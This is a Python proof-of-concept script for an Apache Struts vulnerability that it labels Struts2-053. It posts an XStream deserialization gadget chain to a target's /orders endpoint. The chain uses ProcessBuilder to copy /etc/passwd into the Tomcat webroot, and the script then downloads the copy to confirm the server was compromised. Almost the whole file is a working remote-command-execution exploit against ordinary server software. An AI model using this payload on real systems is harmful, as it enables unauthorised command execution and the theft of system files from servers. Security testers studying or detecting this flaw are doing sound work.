#!/usr/bin/python
#-*- coding:utf-8 -*-

import requests
import sys
import argparse
from json_parse import Jsonparse


class strus2(object):
    def __init__ (self,ip,port,level):
        self.ip = ip
        self.port = port
        self.level = level
    def run(self):
        if self.port == "443":
            url = "https://"+self.ip
        else:
            url = "http://"+self.ip+":"+self.port
        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Referer':url,'Connection':'close','Cookie':'JSESSIONID=E25862AE388D006049EA9D3CEF12F246','Upgrade-Insecure-Requests':'1','Cache-Control':'max-age=0','Content-Type':'application/xml'}
        xml="""
        <map>
    <entry>
        <jdk.nashorn.internal.objects.NativeString>
        <flags>0</flags>
        <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
            <dataHandler>
            <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                <is class="javax.crypto.CipherInputStream">
                <cipher class="javax.crypto.NullCipher">
                    <initialized>false</initialized>
                    <opmode>0</opmode>
                    <serviceIterator class="javax.imageio.spi.FilterIterator">
                    <iter class="javax.imageio.spi.FilterIterator">
                        <iter class="java.util.Collections$EmptyIterator"/>
                        <next class="java.lang.ProcessBuilder">
                        <command>
                            <string>cp</string>
                            <string>/etc/passwd</string>
                            <string>/usr/local/tomcat/webapps/ROOT/poc.text</string>
                            
                        </command>
                        <redirectErrorStream>false</redirectErrorStream>
                        </next>
                    </iter>
                    <filter class="javax.imageio.ImageIO$ContainsFilter">
                        <method>
                        <class>java.lang.ProcessBuilder</class>
                        <name>start</name>
                        <parameter-types/>
                        </method>
                        <name>foo</name>
                    </filter>
                    <next class="string">foo</next>
                    </serviceIterator>
                    <lock/>
                </cipher>
                <input class="java.lang.ProcessBuilder$NullInputStream"/>
                <ibuffer></ibuffer>
                <done>false</done>
                <ostart>0</ostart>
                <ofinish>0</ofinish>
                <closed>false</closed>
                </is>
                <consumed>false</consumed>
            </dataSource>
            <transferFlavors/>
            </dataHandler>
            <dataLen>0</dataLen>
        </value>
        </jdk.nashorn.internal.objects.NativeString>
        <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
    </entry>
    <entry>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    </entry>
    </map>"""
        try:
            tg = url + "/orders"
            r=requests.post(tg,headers=headers,data=xml,timeout=self.level,verify=False)
            r2 = requests.get(url+"/poc.text")
            if r2.status_code == 200 and "root" in r2.text:
                print("[+] Target "+url+" Find Struts2-053 Vuln!!! ")
                exit(233)
            else:
                print("[-] Target "+url+" Not Struts2-053 Vuln!!! Good Luck")
                exit(1)
        except Exception as e:
            print(e)
            exit(-1)



if __name__ == '__main__':
    print("[*] start checking")
    jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
    jsonobj = Jsonparse(jsonfile)
    jsondata = jsonobj.parse()
    targetip = sys.argv[2]
    timeout = jsondata['timeout3']
    port = sys.argv[3]
    Scanner = strus2(targetip, port, timeout)
    Scanner.run()